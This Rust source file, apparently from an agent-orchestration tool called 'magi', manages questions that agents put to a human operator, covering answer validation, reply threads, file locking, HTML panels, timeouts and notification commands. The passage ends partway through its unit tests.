use std::path::{Path, PathBuf};
use std::time::Duration;
use anyhow::{Context, Result, bail};
use jiff::Timestamp;
use serde::{Deserialize, Serialize};
use crate::config;
use crate::proc::Quiet as _;
use crate::run::RunStatus;
pub const SCHEMA: u32 = 4;
const POLL: Duration = Duration::from_secs(3);
const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
const WAIT_SLICE: Duration = Duration::from_secs(240);
pub const LEASE_TTL: Duration = Duration::from_secs(90);
const LOCK_STALE: Duration = Duration::from_secs(10);
pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
const PANEL_DIR: &str = ".panel";
const PANEL_HTML: &str = "index.html";
const PANEL_TMP: &str = ".panel.tmp";
pub fn valid_asset_name(name: &str) -> bool {
if name.is_empty() || name.len() > 64 || name.contains("..") {
return false;
}
let mut chars = name.chars();
chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
&& chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum QuestionStatus {
Open,
Answered,
Abandoned,
}
impl QuestionStatus {
pub fn open(self) -> bool {
matches!(self, Self::Open)
}
pub fn as_str(self) -> &'static str {
match self {
Self::Open => "open",
Self::Answered => "answered",
Self::Abandoned => "abandoned",
}
}
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Answer {
Choice(String),
Text(String),
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "do", rename_all = "lowercase")]
pub enum ChoiceAction {
Resume {
run: String,
},
Requeue,
Done,
}
impl ChoiceAction {
pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
let Some((label, verb)) = spec.rsplit_once('=') else {
bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
};
let label = label.trim();
if label.is_empty() {
bail!("`--action {spec}` names no choice before `=`");
}
let verb = verb.trim();
let action = match verb.split_once(':') {
Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
run: run.trim().to_owned(),
},
None if verb == "resume" => {
if default_run.is_empty() {
bail!("`--action {spec}` names no run and MAGI_RUN is not set");
}
Self::Resume {
run: default_run.to_owned(),
}
}
None if verb == "requeue" => Self::Requeue,
None if verb == "done" => Self::Done,
_ => bail!(
"unknown action `{verb}` in `--action {spec}`; \
use resume[:<run>], requeue or done"
),
};
Ok((label.to_owned(), action))
}
pub fn describe(&self) -> String {
match self {
Self::Resume { run } => format!("resume run {}", short(run)),
Self::Requeue => "requeue the task".to_owned(),
Self::Done => "mark the task done".to_owned(),
}
}
}
pub fn parse_actions(
specs: &[String],
choices: &[String],
default_run: &str,
) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
let mut out = std::collections::BTreeMap::new();
for spec in specs {
let (label, action) = ChoiceAction::parse(spec, default_run)?;
if !choices.contains(&label) {
bail!(
"`--action {spec}`: `{label}` is not one of the --choice values ({})",
choices.join(", ")
);
}
if out.insert(label.clone(), action).is_some() {
bail!("more than one --action for `{label}`");
}
}
Ok(out)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Who {
Operator,
Agent,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Turn {
pub who: Who,
pub body: String,
pub at: Timestamp,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum WaiterKind {
Asker,
Daemon,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Waiter {
pub kind: WaiterKind,
pub since: Timestamp,
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Lease {
pub kind: WaiterKind,
pub pid: u32,
pub beat_at: Timestamp,
}
impl Lease {
pub fn fresh(&self, now: Timestamp) -> bool {
now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
}
}
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Question {
pub schema: u32,
pub id: String,
pub run: String,
pub node: String,
pub seat: String,
pub summary: String,
pub detail: String,
pub choices: Vec<String>,
#[serde(default)]
pub actions: std::collections::BTreeMap<String, ChoiceAction>,
#[serde(default)]
pub panel: bool,
#[serde(default)]
pub assets: Vec<String>,
pub status: QuestionStatus,
pub asked_at: Timestamp,
pub answered_at: Option<Timestamp>,
pub answer: Option<Answer>,
#[serde(default)]
pub thread: Vec<Turn>,
#[serde(default)]
pub answer_timeout: u64,
#[serde(default)]
pub cwd: Option<String>,
#[serde(default)]
pub waiter: Option<Waiter>,
#[serde(default)]
pub delivered_turns: usize,
#[serde(default)]
pub answer_delivered: bool,
}
impl Question {
pub fn new(
run: String,
node: String,
seat: String,
summary: String,
detail: String,
choices: Vec<String>,
) -> Self {
Self {
schema: SCHEMA,
id: new_id(),
run,
node,
seat,
summary,
detail,
choices,
actions: std::collections::BTreeMap::new(),
panel: false,
assets: Vec::new(),
status: QuestionStatus::Open,
asked_at: Timestamp::now(),
answered_at: None,
answer: None,
thread: Vec::new(),
answer_timeout: 0,
cwd: None,
waiter: None,
delivered_turns: 0,
answer_delivered: false,
}
}
pub fn short(&self) -> &str {
short(&self.id)
}
pub fn chosen_action(&self) -> Option<&ChoiceAction> {
match (&self.status, &self.answer) {
(QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
_ => None,
}
}
pub fn free_text(&self) -> bool {
self.choices.is_empty()
}
pub fn answer(&mut self, answer: Answer) -> Result<()> {
match self.status {
QuestionStatus::Answered => bail!(
"question {} was already answered; the run has moved on and a \
second answer would be a decision nobody acted on",
self.short()
),
QuestionStatus::Abandoned => bail!(
"question {} was abandoned and the run behind it is gone",
self.short()
),
QuestionStatus::Open => {}
}
let body = match &answer {
Answer::Choice(c) | Answer::Text(c) => c.as_str(),
};
if body.trim().is_empty() {
bail!(
"question {} needs an answer; an empty one tells the agent \
nothing and it would guess anyway",
self.short()
);
}
match &answer {
Answer::Choice(c) if self.free_text() => bail!(
"question {} asks for free text, so `{c}` cannot be a choice \
it offered",
self.short()
),
Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
"`{c}` is not one of the choices question {} offers: {}",
self.short(),
self.choices.join(", ")
),
Answer::Text(_) if !self.free_text() => bail!(
"question {} is multiple choice; answer with one of: {}",
self.short(),
self.choices.join(", ")
),
_ => {}
}
self.answered_at = Some(Timestamp::now());
self.answer = Some(answer);
self.status = QuestionStatus::Answered;
Ok(())
}
pub fn abandon(&mut self, why: impl Into<String>) {
if !self.status.open() {
return;
}
self.status = QuestionStatus::Abandoned;
let why = why.into();
let why = why.trim();
if why.is_empty() {
return;
}
if !self.detail.is_empty() {
self.detail.push('\n');
}
self.detail.push_str("\n_Abandoned: ");
self.detail.push_str(why);
self.detail.push_str("._\n");
}
pub fn resolution(&self) -> Option<String> {
match (self.status, &self.answer) {
(QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
Some(a.clone())
}
_ => None,
}
}
pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
match self.status {
QuestionStatus::Answered => bail!(
"question {} was already answered; there is nothing left to \
discuss",
self.short()
),
QuestionStatus::Abandoned => bail!(
"question {} was abandoned and the run behind it is gone",
self.short()
),
QuestionStatus::Open => {}
}
let body = body.into();
if body.trim().is_empty() {
bail!("a message to question {} cannot be empty", self.short());
}
self.thread.push(Turn {
who: Who::Operator,
body,
at: Timestamp::now(),
});
Ok(())
}
pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
match self.status {
QuestionStatus::Answered => bail!(
"question {} was already answered; replying now would not \
reach anyone",
self.short()
),
QuestionStatus::Abandoned => bail!(
"question {} was abandoned and the run behind it is gone",
self.short()
),
QuestionStatus::Open => {}
}
let body = body.into();
if body.trim().is_empty() {
bail!("a reply to question {} cannot be empty", self.short());
}
self.actions.retain(|label, _| choices.contains(label));
self.choices = choices;
let unread = self.unread_from_owner().is_some();
self.thread.push(Turn {
who: Who::Agent,
body,
at: Timestamp::now(),
});
if !unread {
self.delivered_turns = self.thread.len();
}
Ok(())
}
pub fn unread_from_owner(&self) -> Option<String> {
if !self.status.open() {
return None;
}
let from = self.delivered_turns.min(self.thread.len());
let said: Vec<&str> = self.thread[from..]
.iter()
.filter(|t| t.who == Who::Operator)
.map(|t| t.body.as_str())
.collect();
(!said.is_empty()).then(|| said.join("\n\n"))
}
pub fn last_activity(&self) -> i64 {
self.thread
.iter()
.map(|t| t.at.as_second())
.max()
.unwrap_or(0)
.max(self.asked_at.as_second())
}
pub fn waiting_on_agent(&self) -> bool {
self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
}
fn should_notify(&self, now: Timestamp) -> bool {
let Some(last) = self
.thread
.iter()
.rev()
.find(|t| t.who == Who::Operator)
.map(|t| t.at)
else {
return true;
};
now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
}
}
#[derive(Debug, Clone)]
pub struct Questions {
root: PathBuf,
}
impl Questions {
pub fn open() -> Self {
Self::at(crate::run::home().join("questions"))
}
pub fn at(root: PathBuf) -> Self {
Self { root }
}
pub fn root(&self) -> &Path {
&self.root
}
pub fn path_of(&self, id: &str) -> PathBuf {
self.root.join(format!("{id}.json"))
}
pub fn panel_dir(&self, id: &str) -> PathBuf {
self.root.join(format!("{id}{PANEL_DIR}"))
}
pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
if !valid_asset_name(&q.id) {
bail!(
"question id `{}` is not a name magi will build a panel path from",
q.id
);
}
if html.trim().is_empty() {
bail!(
"question {} was handed an empty panel; an empty frame reads to \
the owner as \"the agent had nothing to say\", which is a lie",
q.short()
);
}
let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
for src in assets {
let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
if !valid_asset_name(name) {
bail!(
"panel asset `{}` cannot be stored: a panel file name must \
match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
src.display()
);
}
if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
bail!(
"two panel assets are both named `{name}` - {} and {} - and \
the panel can only show one of them; rename one at the source",
first.display(),
src.display()
);
}
named.push((name.to_owned(), src.as_path()));
}
let mut total = html.len() as u64;
for (_, src) in &named {
let meta = std::fs::metadata(src)
.with_context(|| format!("stat panel asset {}", src.display()))?;
if !meta.is_file() {
bail!(
"panel asset `{}` is not a file; a panel is html plus files \
copied beside it",
src.display()
);
}
total = total.saturating_add(meta.len());
}
if total > PANEL_MAX_BYTES {
bail!(
"panel for question {} is {total} bytes, over magi's cap of \
{PANEL_MAX_BYTES} bytes; nothing was written",
q.short()
);
}
let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
let dir = self.panel_dir(&q.id);
std::fs::create_dir_all(&self.root)
.with_context(|| format!("create {}", self.root.display()))?;
clear_dir(&tmp)?;
std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
if let Err(e) = fill_panel(&tmp, html, &named) {
let _ = std::fs::remove_dir_all(&tmp);
return Err(e);
}
clear_dir(&dir)?;
std::fs::rename(&tmp, &dir)
.with_context(|| format!("move panel into {}", dir.display()))?;
q.panel = true;
q.assets = named.into_iter().map(|(n, _)| n).collect();
q.assets.sort_unstable();
Ok(())
}
pub fn panel_html(&self, id: &str) -> Option<String> {
if !valid_asset_name(id) {
return None;
}
std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
}
pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
if !valid_asset_name(name) {
bail!(
"`{name}` is not a panel file name; it must match \
^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
);
}
if !valid_asset_name(id) {
return Ok(None);
}
let dir = self.panel_dir(id);
if !dir.is_dir() {
return Ok(None);
}
let path = dir.join(name);
match std::fs::read(&path) {
Ok(bytes) => Ok(Some(bytes)),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
}
}
pub fn drop_panel(&self, id: &str) -> Result<()> {
if !valid_asset_name(id) {
bail!("question id `{id}` is not a name magi will build a panel path from");
}
clear_dir(&self.panel_dir(id))?;
clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
}
pub fn lease_path(&self, id: &str) -> PathBuf {
self.root.join(format!("{id}.lease"))
}
pub fn read_lease(&self, id: &str) -> Option<Lease> {
let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
serde_json::from_str(&body).ok()
}
pub fn beat(&self, id: &str, kind: WaiterKind) {
let lease = Lease {
kind,
pid: std::process::id(),
beat_at: Timestamp::now(),
};
let path = self.lease_path(id);
let tmp = path.with_extension("lease.tmp");
let written = std::fs::create_dir_all(&self.root)
.and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
.and_then(|()| std::fs::rename(&tmp, &path));
if let Err(e) = written {
tracing::debug!("could not beat the lease on question {id}: {e}");
}
}
pub fn drop_lease(&self, id: &str) {
let _ = std::fs::remove_file(self.lease_path(id));
}
pub fn update<T>(
&self,
id: &str,
f: impl FnOnce(&mut Question) -> Result<T>,
) -> Result<(Question, T)> {
std::fs::create_dir_all(&self.root)
.with_context(|| format!("create {}", self.root.display()))?;
let lock = self.root.join(format!("{id}.lock"));
let started = std::time::Instant::now();
loop {
match std::fs::OpenOptions::new()
.write(true)
.create_new(true)
.open(&lock)
{
Ok(_) => break,
Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
let stale = std::fs::metadata(&lock)
.and_then(|m| m.modified())
.ok()
.and_then(|t| t.elapsed().ok())
.is_some_and(|age| age > LOCK_STALE);
if stale {
let _ = std::fs::remove_file(&lock);
} else if started.elapsed() > LOCK_STALE {
bail!("could not lock question {id}");
} else {
std::thread::sleep(Duration::from_millis(15));
}
}
Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
}
}
struct Unlock(PathBuf);
impl Drop for Unlock {
fn drop(&mut self) {
let _ = std::fs::remove_file(&self.0);
}
}
let _guard = Unlock(lock);
let mut q = read_path(&self.path_of(id))?;
let out = f(&mut q)?;
self.put(&mut q)?;
Ok((q, out))
}
pub fn put(&self, q: &mut Question) -> Result<()> {
std::fs::create_dir_all(&self.root)
.with_context(|| format!("create {}", self.root.display()))?;
let body = serde_json::to_string_pretty(q).context("serialize question")?;
let path = self.path_of(&q.id);
let tmp = path.with_extension("json.tmp");
std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
Ok(())
}
pub fn get(&self, id: &str) -> Result<Question> {
let resolved = self.resolve_id(id)?;
read_path(&self.path_of(&resolved))
}
pub fn list(&self) -> Vec<Question> {
let mut all: Vec<Question> = std::fs::read_dir(&self.root)
.into_iter()
.flatten()
.flatten()
.map(|e| e.path())
.filter(|p| p.extension().is_some_and(|x| x == "json"))
.filter_map(|p| read_path(&p).ok())
.collect();
all.sort_unstable_by(|a, b| {
let rank = |q: &Question| u8::from(!q.status.open());
rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
});
all
}
pub fn open_for(&self, run: &str) -> Vec<Question> {
self.list()
.into_iter()
.filter(|q| q.status.open() && q.run == run)
.collect()
}
pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
let mut abandoned = 0;
for mut q in self.open_for(run) {
q.abandon(why);
self.put(&mut q)?;
abandoned += 1;
}
Ok(abandoned)
}
pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
if status.resumable() {
return Ok(0);
}
let why = format!(
"run {run} {}, so nothing is waiting for this answer",
status.as_str()
);
let mut abandoned = 0;
for mut q in self.open_for(run) {
if q.node == crate::bump::NOTICE_NODE {
continue;
}
q.abandon(&why);
self.put(&mut q)?;
abandoned += 1;
}
Ok(abandoned)
}
pub fn resolve_id(&self, prefix: &str) -> Result<String> {
if self.path_of(prefix).is_file() {
return Ok(prefix.to_owned());
}
let hits: Vec<String> = self
.list()
.into_iter()
.map(|q| q.id)
.filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
.collect();
match hits.len() {
1 => Ok(hits.into_iter().next().expect("exactly one hit")),
0 => bail!("no question matches `{prefix}`"),
_ => bail!(
"`{prefix}` matches {} questions: {}",
hits.len(),
hits.join(", ")
),
}
}
pub fn revision(&self) -> u64 {
std::fs::read_dir(&self.root)
.into_iter()
.flatten()
.flatten()
.filter_map(|e| e.metadata().ok())
.filter_map(|m| m.modified().ok())
.filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
.map(|d| d.as_millis() as u64)
.max()
.unwrap_or(0)
}
pub fn count_open(&self) -> usize {
self.list().iter().filter(|q| q.status.open()).count()
}
pub fn count_needs_owner(&self) -> usize {
self.list()
.iter()
.filter(|q| q.status.open() && !q.waiting_on_agent())
.count()
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Wait {
Answered(String),
Replied(String),
Pending,
Abandoned,
}
pub async fn ask_and_wait(
q: &mut Question,
store: &Questions,
notify: &config::Notify,
timeout: Duration,
) -> Result<Wait> {
wait_for_owner(q, store, notify, timeout, POLL).await
}
pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
}
async fn wait_for_owner(
q: &mut Question,
store: &Questions,
cfg: &config::Notify,
timeout: Duration,
poll: Duration,
) -> Result<Wait> {
if !store.path_of(&q.id).is_file() {
store.put(q).context("file the question")?;
}
if q.should_notify(Timestamp::now()) {
if let Err(e) = notify(cfg, q).await {
tracing::warn!(
"could not notify about question {}: {e:#} - the web UI is the \
only surface for it now",
q.short()
);
}
}
tracing::info!(
"question {} from {} is waiting for you: {}",
q.short(),
q.seat,
q.summary
);
wait_loop(q, store, timeout, WAIT_SLICE, poll).await
}
fn hold(store: &Questions, id: &str) {
store.beat(id, WaiterKind::Asker);
let took = store.update(id, |q| {
if q.status.open() {
q.waiter = Some(Waiter {
kind: WaiterKind::Asker,
since: Timestamp::now(),
});
}
Ok(())
});
if let Err(e) = took {
tracing::debug!("could not note the wait on question {id}: {e:#}");
}
}
pub fn hand_over(store: &Questions, q: &mut Question) {
let done = store.update(&q.id, |r| {
r.delivered_turns = r.delivered_turns.max(q.thread.len());
if r.status == QuestionStatus::Answered {
r.answer_delivered = true;
}
r.waiter = None;
Ok(())
});
match done {
Ok((fresh, ())) => *q = fresh,
Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
}
}
async fn wait_loop(
q: &mut Question,
store: &Questions,
timeout: Duration,
slice: Duration,
poll: Duration,
) -> Result<Wait> {
if let Some(said) = q.unread_from_owner() {
return Ok(Wait::Replied(said));
}
hold(store, &q.id);
let bounded = timeout.min(slice);
let is_the_real_deadline = bounded >= timeout;
let deadline = tokio::time::Instant::now() + bounded;
loop {
let now = tokio::time::Instant::now();
if now >= deadline {
if !is_the_real_deadline {
return Ok(Wait::Pending);
}
let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
let (fresh, unread) = store
.update(&q.id, |r| {
let unread = r.unread_from_owner();
if unread.is_none() {
r.abandon(&why);
r.waiter = None;
}
Ok(unread)
})
.context("record the abandoned question")?;
*q = fresh;
if let Some(said) = unread {
return Ok(Wait::Replied(said));
}
tracing::warn!(
"question {} went unanswered for {}s; the run parks and the \
question stays as the record of it",
q.short(),
timeout.as_secs()
);
return Ok(Wait::Abandoned);
}
tokio::time::sleep(poll.min(deadline - now)).await;
store.beat(&q.id, WaiterKind::Asker);
match store.get(&q.id) {
Ok(fresh) if !fresh.status.open() => {
*q = fresh;
return Ok(match q.resolution() {
Some(a) => Wait::Answered(a),
None => Wait::Abandoned,
});
}
Ok(fresh) => {
if let Some(said) = fresh.unread_from_owner() {
*q = fresh;
return Ok(Wait::Replied(said));
}
}
Err(e) => {
tracing::debug!("could not re-read question {}: {e:#}", q.short());
}
}
}
}
pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
notify_text(cmd, &q.run, &q.summary).await
}
pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
let Some((program, args)) = cmd.command.split_first() else {
return Ok(());
};
let url = web_url();
if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
tracing::warn!(
"the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
so the link will be empty - export it next to `magi serve` with \
the address `magi web --open` printed"
);
}
let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
tracing::debug!(program = %program, args = ?argv, "notifying");
let mut child = tokio::process::Command::new(program);
child.quiet();
child
.args(&argv)
.stdin(std::process::Stdio::null())
.kill_on_drop(true);
let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
Err(_) => bail!(
"notification command `{program}` did not finish within {}s",
NOTIFY_TIMEOUT.as_secs()
),
};
if !out.status.success() {
let stderr = String::from_utf8_lossy(&out.stderr);
let why = stderr
.lines()
.rev()
.find(|l| !l.trim().is_empty())
.unwrap_or("no output on stderr")
.trim();
bail!(
"notification command `{program}` exited with {}: {why}",
out.status
);
}
Ok(())
}
fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
let mut out = String::with_capacity(template.len());
let mut rest = template;
while let Some(at) = rest.find('{') {
out.push_str(&rest[..at]);
let tail = &rest[at..];
match table.iter().find(|(token, _)| tail.starts_with(token)) {
Some((token, value)) => {
out.push_str(value);
rest = &tail[token.len()..];
}
None => {
out.push('{');
rest = &tail[1..];
}
}
}
out.push_str(rest);
out
}
fn web_url() -> String {
question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
}
fn question_url(base: &str) -> String {
let base = base.trim().trim_end_matches('/');
if base.is_empty() || base.contains('#') {
return base.to_owned();
}
format!("{base}/#/questions")
}
fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
let index = dir.join(PANEL_HTML);
std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
for (name, src) in assets {
let dst = dir.join(name);
std::fs::copy(src, &dst)
.with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
}
Ok(())
}
fn clear_dir(path: &Path) -> Result<()> {
match std::fs::remove_dir_all(path) {
Ok(()) => Ok(()),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
}
}
fn read_path(path: &Path) -> Result<Question> {
let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
let q: Question =
serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
if q.schema > SCHEMA {
bail!(
"question {} was written by a newer magi (schema {}, this build \
only speaks up to {SCHEMA})",
q.id,
q.schema
);
}
Ok(q)
}
pub fn short_id(id: &str) -> &str {
short(id)
}
fn short(id: &str) -> &str {
id.split('-').next_back().unwrap_or(id)
}
fn new_id() -> String {
let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
let seed = crate::rng::entropy();
format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
}
#[cfg(test)]
mod tests {
use super::*;
fn store() -> (tempfile::TempDir, Questions) {
let dir = tempfile::tempdir().unwrap();
let s = Questions::at(dir.path().join("questions"));
(dir, s)
}
#[test]
fn deleting_a_run_stops_its_questions_asking() {
let (_dir, store) = store();
let mut open_one = choice_question();
store.put(&mut open_one).unwrap();
let mut answered = free_question();
answered
.answer(Answer::Text("keep this".to_owned()))
.unwrap();
store.put(&mut answered).unwrap();
let mut elsewhere = choice_question();
elsewhere.run = "20260903-105039-3cbf".to_owned();
store.put(&mut elsewhere).unwrap();
let n = store
.abandon_for_run(&open_one.run, "run was deleted")
.unwrap();
assert_eq!(n, 1, "only the open question of that run");
let back = store.get(&open_one.id).unwrap();
assert!(!back.status.open(), "it no longer asks for a decision");
assert!(
back.detail.contains("run was deleted"),
"the operator can see why: {}",
back.detail
);
let kept = store.get(&answered.id).unwrap();
assert_eq!(
kept.status,
QuestionStatus::Answered,
"an answered question is a decision on record, not something to revoke"
);
assert!(
store.get(&elsewhere.id).unwrap().status.open(),
"another run's question is untouched"
);
assert!(store.open_for(&open_one.run).is_empty());
}
#[test]
fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
let (_dir, store) = store();
let mut q = choice_question();
store.put(&mut q).unwrap();
let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
assert_eq!(n, 0);
assert!(store.get(&q.id).unwrap().status.open());
let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
assert_eq!(n, 1);
let back = store.get(&q.id).unwrap();
assert!(!back.status.open());
assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
}
fn choice_question() -> Question {
Question::new(
"20260902-201256-9fb7".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
"Which storage backend should the cache use?".to_owned(),
"Both are already dependencies.".to_owned(),
vec!["SQLite".to_owned(), "Redis".to_owned()],
)
}
fn free_question() -> Question {
Question::new(
"20260902-201256-9fb7".to_owned(),
"review".to_owned(),
"rev-1".to_owned(),
"What should the error message say?".to_owned(),
String::new(),
Vec::new(),
)
}
fn quiet() -> config::Notify {
config::Notify::default()
}
#[test]
fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
let mut q = choice_question();
q.id = "20260902-231501-ab12".to_owned();
let open: serde_json::Value = serde_json::to_value(&q).unwrap();
let keys: Vec<&str> = open
.as_object()
.unwrap()
.keys()
.map(String::as_str)
.collect();
assert_eq!(
keys,
[
"actions",
"answer",
"answer_delivered",
"answer_timeout",
"answered_at",
"asked_at",
"assets",
"choices",
"cwd",
"delivered_turns",
"detail",
"id",
"node",
"panel",
"run",
"schema",
"seat",
"status",
"summary",
"thread",
"waiter",
],
"the on-disk field set is a contract with the front end"
);
assert_eq!(open["schema"], 4);
assert_eq!(open["thread"], serde_json::json!([]));
assert_eq!(open["id"], "20260902-231501-ab12");
assert_eq!(open["run"], "20260902-201256-9fb7");
assert_eq!(open["node"], "implement");
assert_eq!(open["seat"], "impl-A");
assert_eq!(open["status"], "open");
assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
assert_eq!(open["answered_at"], serde_json::Value::Null);
assert_eq!(open["answer"], serde_json::Value::Null);
let asked = open["asked_at"].as_str().unwrap();
assert!(
asked.ends_with('Z') && asked.contains('T'),
"timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
);
q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
let answered = serde_json::to_value(&q).unwrap();
assert_eq!(answered["status"], "answered");
assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
assert!(answered["answered_at"].is_string());
let mut free = free_question();
free.answer(Answer::Text("Say which file it was".to_owned()))
.unwrap();
assert_eq!(
serde_json::to_value(&free).unwrap()["answer"],
serde_json::json!({"text": "Say which file it was"})
);
let body = serde_json::to_string(&q).unwrap();
assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
}
#[test]
fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
let mut unoffered = choice_question();
let a = unoffered
.answer(Answer::Choice("Postgres".to_owned()))
.unwrap_err()
.to_string();
let mut typed = choice_question();
let b = typed
.answer(Answer::Text("use Postgres".to_owned()))
.unwrap_err()
.to_string();
let mut blank = free_question();
let c = blank
.answer(Answer::Text(" \n".to_owned()))
.unwrap_err()
.to_string();
let mut twice = choice_question();
twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
let d = twice
.answer(Answer::Choice("Redis".to_owned()))
.unwrap_err()
.to_string();
assert!(a.contains("not one of the choices"), "{a}");
assert!(b.contains("multiple choice"), "{b}");
assert!(c.contains("empty"), "{c}");
assert!(d.contains("already answered"), "{d}");
let mut distinct = vec![a, b, c, d];
let asked = distinct.len();
distinct.sort_unstable();
distinct.dedup();
assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
assert_eq!(unoffered.status, QuestionStatus::Open);
assert_eq!(typed.status, QuestionStatus::Open);
assert_eq!(blank.status, QuestionStatus::Open);
assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
let mut free = free_question();
let e = free
.answer(Answer::Choice("SQLite".to_owned()))
.unwrap_err()
.to_string();
assert!(e.contains("free text"), "{e}");
}
#[test]
fn open_questions_are_listed_before_answered_ones() {
let (_dir, s) = store();
let mut old_open = choice_question();
old_open.id = "20260101-000001-aaaa".to_owned();
let mut new_open = choice_question();
new_open.id = "20260101-000002-bbbb".to_owned();
let mut answered = choice_question();
answered.id = "20260101-000003-cccc".to_owned();
answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
for q in [&mut old_open, &mut new_open, &mut answered] {
s.put(q).unwrap();
}
let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
assert_eq!(
ids,
[
"20260101-000002-bbbb",
"20260101-000001-aaaa",
"20260101-000003-cccc"
],
"what has stopped work comes first; history sorts underneath"
);
assert_eq!(s.count_open(), 2);
assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
